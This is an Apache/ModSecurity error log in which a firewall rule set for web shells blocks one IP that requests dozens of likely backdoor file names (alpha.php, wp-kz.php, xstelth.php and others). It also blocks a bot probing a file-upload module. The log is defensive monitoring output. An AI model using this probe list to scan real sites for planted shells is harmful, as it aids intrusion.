[Sat May 23 03:42:30.330960 2026] [:error] [pid 30337:tid 30358] [client 135.119.49.97:31071] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws78.php"] [unique_id "ahCxpuvBcBevG0QiH48uvwAAARM"]
[Sat May 23 03:42:31.922028 2026] [:error] [pid 30366:tid 30375] [client 135.119.49.97:32994] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws78.php"] [unique_id "ahCxp4vyrqclk5U3UnS4aQAAAUc"]
[Sat May 23 03:42:34.981968 2026] [:error] [pid 30269:tid 30287] [client 135.119.49.97:29745] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/options.php"] [unique_id "ahCxqr76D_Os3EFB67CJTAAAAI4"]
[Sat May 23 03:42:37.294929 2026] [:error] [pid 30337:tid 30360] [client 135.119.49.97:31093] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/options.php"] [unique_id "ahCxrevBcBevG0QiH48u2wAAARU"]
[Sat May 23 03:42:38.883539 2026] [:error] [pid 30337:tid 30358] [client 135.119.49.97:64757] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/options.php"] [unique_id "ahCxruvBcBevG0QiH48u4AAAARM"]
[Sat May 23 03:42:39.483634 2026] [:error] [pid 30366:tid 30374] [client 135.119.49.97:37568] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/options.php"] [unique_id "ahCxr4vyrqclk5U3UnS4dAAAAUY"]
[Sat May 23 03:42:41.323400 2026] [:error] [pid 30366:tid 30391] [client 135.119.49.97:28955] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/min.php"] [unique_id "ahCxsYvyrqclk5U3UnS4dwAAAVc"]
[Sat May 23 03:42:42.238133 2026] [:error] [pid 30271:tid 30309] [client 135.119.49.97:64742] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/min.php"] [unique_id "ahCxsp3WaQ7jGAJY8Oi_4gAAAMk"]
[Sat May 23 03:42:44.831743 2026] [:error] [pid 30271:tid 30318] [client 135.119.49.97:31886] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/min.php"] [unique_id "ahCxtJ3WaQ7jGAJY8Oi_6wAAANI"]
[Sat May 23 03:42:45.869304 2026] [:error] [pid 30271:tid 30321] [client 135.119.49.97:64725] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/min.php"] [unique_id "ahCxtZ3WaQ7jGAJY8Oi_7gAAANU"]
[Sat May 23 03:42:47.917765 2026] [:error] [pid 30271:tid 30320] [client 135.119.49.97:37613] File does not exist: /usr/local/apache/htdocs/suspended-page/img.php
[Sat May 23 03:42:48.110680 2026] [:error] [pid 30271:tid 30311] [client 135.119.49.97:37613] File does not exist: /usr/local/apache/htdocs/suspended-page/7.php
[Sat May 23 03:42:48.304818 2026] [:error] [pid 30271:tid 30308] [client 135.119.49.97:37613] File does not exist: /usr/local/apache/htdocs/suspended-page/ggb.php
[Sat May 23 03:42:48.529519 2026] [:error] [pid 30271:tid 30306] [client 135.119.49.97:37613] File does not exist: /usr/local/apache/htdocs/suspended-page/xxa.php
[Sat May 23 03:42:48.725901 2026] [:error] [pid 30271:tid 30316] [client 135.119.49.97:37613] File does not exist: /usr/local/apache/htdocs/suspended-page/aj11.php
[Sat May 23 03:42:48.924058 2026] [:error] [pid 30271:tid 30301] [client 135.119.49.97:37613] File does not exist: /usr/local/apache/htdocs/suspended-page/fs.php
[Sat May 23 03:42:49.117552 2026] [:error] [pid 30271:tid 30324] [client 135.119.49.97:37613] File does not exist: /usr/local/apache/htdocs/suspended-page/2.php
[Sat May 23 03:42:49.336111 2026] [:error] [pid 30271:tid 30303] [client 135.119.49.97:37613] File does not exist: /usr/local/apache/htdocs/suspended-page/man.php
[Sat May 23 03:42:49.533058 2026] [:error] [pid 30271:tid 30315] [client 135.119.49.97:37613] File does not exist: /usr/local/apache/htdocs/suspended-page/12.php
[Sat May 23 03:42:49.737790 2026] [:error] [pid 30271:tid 30321] [client 135.119.49.97:37613] File does not exist: /usr/local/apache/htdocs/suspended-page/acp.php
[Sat May 23 03:42:49.936911 2026] [:error] [pid 30271:tid 30302] [client 135.119.49.97:37613] File does not exist: /usr/local/apache/htdocs/suspended-page/wps.php
[Sat May 23 03:42:50.125461 2026] [:error] [pid 30271:tid 30307] [client 135.119.49.97:37613] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alpha.php"] [unique_id "ahCxup3WaQ7jGAJY8Oi__wAAAMc"]
[Sat May 23 03:42:54.440020 2026] [:error] [pid 30269:tid 30274] [client 135.119.49.97:31068] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alpha.php"] [unique_id "ahCxvr76D_Os3EFB67CJXAAAAIE"]
[Sat May 23 03:42:58.631052 2026] [:error] [pid 30269:tid 30290] [client 135.119.49.97:38679] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alpha.php"] [unique_id "ahCxwr76D_Os3EFB67CJYwAAAJE"]
[Sat May 23 03:42:59.943706 2026] [:error] [pid 30271:tid 30307] [client 135.119.49.97:31057] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alpha.php"] [unique_id "ahCxw53WaQ7jGAJY8OjABwAAAMc"]
[Sat May 23 03:43:01.108870 2026] [:error] [pid 30271:tid 30320] [client 135.119.49.97:31090] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bob.php"] [unique_id "ahCxxZ3WaQ7jGAJY8OjACgAAANQ"]
[Sat May 23 03:43:04.769547 2026] [:error] [pid 30366:tid 30383] [client 135.119.49.97:36000] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bob.php"] [unique_id "ahCxyIvyrqclk5U3UnS4pwAAAU8"]
[Sat May 23 03:43:06.780035 2026] [:error] [pid 30337:tid 30362] [client 135.119.49.97:29727] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bob.php"] [unique_id "ahCxyuvBcBevG0QiH48u9AAAARc"]
[Sat May 23 03:43:10.004142 2026] [:error] [pid 30366:tid 30389] [client 135.119.49.97:28929] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bob.php"] [unique_id "ahCxzovyrqclk5U3UnS4swAAAVU"]
[Sat May 23 03:43:13.765023 2026] [:error] [pid 30366:tid 30388] [client 135.119.49.97:31908] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "ahCx0Yvyrqclk5U3UnS4uQAAAVQ"]
[Sat May 23 03:43:15.175067 2026] [:error] [pid 30337:tid 30351] [client 135.119.49.97:28968] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "ahCx0-vBcBevG0QiH48u9wAAAQw"]
[Sat May 23 03:43:16.205097 2026] [:error] [pid 30366:tid 30384] [client 135.119.49.97:32985] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "ahCx1Ivyrqclk5U3UnS4xQAAAVA"]
[Sat May 23 03:43:18.119400 2026] [:error] [pid 30271:tid 30312] [client 135.119.49.97:28948] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "ahCx1p3WaQ7jGAJY8OjAFgAAAMw"]
[Sat May 23 03:43:23.670850 2026] [:error] [pid 30269:tid 30295] [client 135.119.49.97:38674] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/insta.php"] [unique_id "ahCx2776D_Os3EFB67CJeQAAAJY"]
[Sat May 23 03:43:25.834993 2026] [:error] [pid 30271:tid 30316] [client 135.119.49.97:64726] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/insta.php"] [unique_id "ahCx3Z3WaQ7jGAJY8OjAFwAAANA"]
[Sat May 23 03:43:27.274015 2026] [:error] [pid 30271:tid 30304] [client 135.119.49.97:31081] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/insta.php"] [unique_id "ahCx353WaQ7jGAJY8OjAGAAAAMQ"]
[Sat May 23 03:43:30.992801 2026] [:error] [pid 30337:tid 30339] [client 135.119.49.97:31078] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/insta.php"] [unique_id "ahCx4uvBcBevG0QiH48vFwAAAQA"]
[Sat May 23 03:43:33.305549 2026] [:error] [pid 30269:tid 30288] [client 135.119.49.97:38678] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-kz.php"] [unique_id "ahCx5b76D_Os3EFB67CJiwAAAI8"]
[Sat May 23 03:43:36.073746 2026] [:error] [pid 30269:tid 30275] [client 135.119.49.97:29751] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-kz.php"] [unique_id "ahCx6L76D_Os3EFB67CJlQAAAII"]
[Sat May 23 03:43:37.663963 2026] [:error] [pid 30271:tid 30310] [client 135.119.49.97:28962] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-kz.php"] [unique_id "ahCx6Z3WaQ7jGAJY8OjAIgAAAMo"]
[Sat May 23 03:43:39.467044 2026] [:error] [pid 30337:tid 30352] [client 135.119.49.97:38692] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-kz.php"] [unique_id "ahCx6-vBcBevG0QiH48vMwAAAQ0"]
[Sat May 23 03:43:41.154108 2026] [:error] [pid 30271:tid 30311] [client 135.119.49.97:39086] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xs.php"] [unique_id "ahCx7Z3WaQ7jGAJY8OjAJQAAAMs"]
[Sat May 23 03:43:43.232842 2026] [:error] [pid 30366:tid 30379] [client 135.119.49.97:33007] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xs.php"] [unique_id "ahCx74vyrqclk5U3UnS46gAAAUs"]
[Sat May 23 03:43:44.107466 2026] [:error] [pid 30366:tid 30391] [client 135.119.49.97:30629] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xs.php"] [unique_id "ahCx8Ivyrqclk5U3UnS47QAAAVc"]
[Sat May 23 03:43:46.111276 2026] [:error] [pid 30366:tid 30372] [client 135.119.49.97:39083] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xs.php"] [unique_id "ahCx8ovyrqclk5U3UnS48QAAAUQ"]
[Sat May 23 03:43:47.103799 2026] [:error] [pid 30271:tid 30303] [client 135.119.49.97:38302] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2026w.php"] [unique_id "ahCx853WaQ7jGAJY8OjAJwAAAMM"]
[Sat May 23 03:43:48.111273 2026] [:error] [pid 30271:tid 30314] [client 135.119.49.97:38711] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2026w.php"] [unique_id "ahCx9J3WaQ7jGAJY8OjAKgAAAM4"]
[Sat May 23 03:43:49.206894 2026] [:error] [pid 30271:tid 30310] [client 135.119.49.97:29734] File does not exist: /usr/local/apache/htdocs/suspended-page/2026w.php
[Sat May 23 03:43:49.580244 2026] [:error] [pid 30271:tid 30309] [client 135.119.49.97:29734] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Sat May 23 03:43:49.772553 2026] [:error] [pid 30271:tid 30312] [client 135.119.49.97:29734] File does not exist: /usr/local/apache/htdocs/suspended-page/xwx1.php
[Sat May 23 03:43:49.964552 2026] [:error] [pid 30271:tid 30316] [client 135.119.49.97:29734] File does not exist: /usr/local/apache/htdocs/suspended-page/xmu.php
[Sat May 23 03:43:50.315321 2026] [:error] [pid 30271:tid 30311] [client 135.119.49.97:29734] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Sat May 23 03:43:50.506193 2026] [:error] [pid 30271:tid 30318] [client 135.119.49.97:29734] File does not exist: /usr/local/apache/htdocs/suspended-page/ayk.php
[Sat May 23 03:43:50.897229 2026] [:error] [pid 30271:tid 30317] [client 135.119.49.97:29734] File does not exist: /usr/local/apache/htdocs/suspended-page/gecko.php
[Sat May 23 03:43:51.091915 2026] [:error] [pid 30271:tid 30306] [client 135.119.49.97:29734] File does not exist: /usr/local/apache/htdocs/suspended-page/wpxml.php
[Sat May 23 03:43:51.379587 2026] [:error] [pid 30271:tid 30301] [client 135.119.49.97:29734] File does not exist: /usr/local/apache/htdocs/suspended-page/zo.php
[Sat May 23 03:43:51.569473 2026] [:error] [pid 30271:tid 30303] [client 135.119.49.97:29734] File does not exist: /usr/local/apache/htdocs/suspended-page/sky.php
[Sat May 23 03:43:51.764984 2026] [:error] [pid 30271:tid 30314] [client 135.119.49.97:29734] File does not exist: /usr/local/apache/htdocs/suspended-page/rh.php
[Sat May 23 03:43:51.953221 2026] [:error] [pid 30271:tid 30322] [client 135.119.49.97:29734] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "ahCx953WaQ7jGAJY8OjAOwAAANY"]
[Sat May 23 03:43:54.427016 2026] [:error] [pid 30366:tid 30374] [client 135.119.49.97:38698] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "ahCx-ovyrqclk5U3UnS4_gAAAUY"]
[Sat May 23 03:43:56.581051 2026] [:error] [pid 30366:tid 30382] [client 135.119.49.97:39051] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "ahCx_Ivyrqclk5U3UnS5AQAAAU4"]
[Sat May 23 03:43:58.611340 2026] [:error] [pid 30269:tid 30291] [client 135.119.49.97:32990] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "ahCx_r76D_Os3EFB67CJoQAAAJI"]
[Sat May 23 03:44:01.106505 2026] [:error] [pid 30366:tid 30383] [client 135.119.49.97:39052] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xstelth.php"] [unique_id "ahCyAYvyrqclk5U3UnS5DgAAAU8"]
[Sat May 23 03:44:03.087090 2026] [:error] [pid 30337:tid 30347] [client 135.119.49.97:39507] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xstelth.php"] [unique_id "ahCyA-vBcBevG0QiH48vTQAAAQg"]
[Sat May 23 03:44:05.110659 2026] [:error] [pid 30271:tid 30303] [client 135.119.49.97:40735] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xstelth.php"] [unique_id "ahCyBZ3WaQ7jGAJY8OjARAAAAMM"]
[Sat May 23 03:44:10.781456 2026] [:error] [pid 30337:tid 30349] [client 135.119.49.97:5728] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xstelth.php"] [unique_id "ahCyCuvBcBevG0QiH48vWAAAAQo"]
[Sat May 23 03:44:14.848298 2026] [:error] [pid 30337:tid 30349] [client 135.119.49.97:5951] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3369.php"] [unique_id "ahCyDuvBcBevG0QiH48vZQAAAQo"]
[Sat May 23 03:44:16.972106 2026] [:error] [pid 30366:tid 30371] [client 135.119.49.97:38669] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3369.php"] [unique_id "ahCyEIvyrqclk5U3UnS5KAAAAUM"]
[Sat May 23 03:44:18.380835 2026] [:error] [pid 30366:tid 30374] [client 135.119.49.97:28987] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3369.php"] [unique_id "ahCyEovyrqclk5U3UnS5MwAAAUY"]
[Sat May 23 03:44:19.227189 2026] [:error] [pid 30366:tid 30379] [client 135.119.49.97:5937] [client 135.119.49.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3369.php"] [unique_id "ahCyE4vyrqclk5U3UnS5OQAAAUs"]
[Sat May 23 07:58:46.170303 2026] [:error] [pid 30942:tid 31020] [client 173.239.216.150:43397] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/filemanager.php"] [unique_id "ahDtttUosz64YFiBlG3TjgAAAJE"]
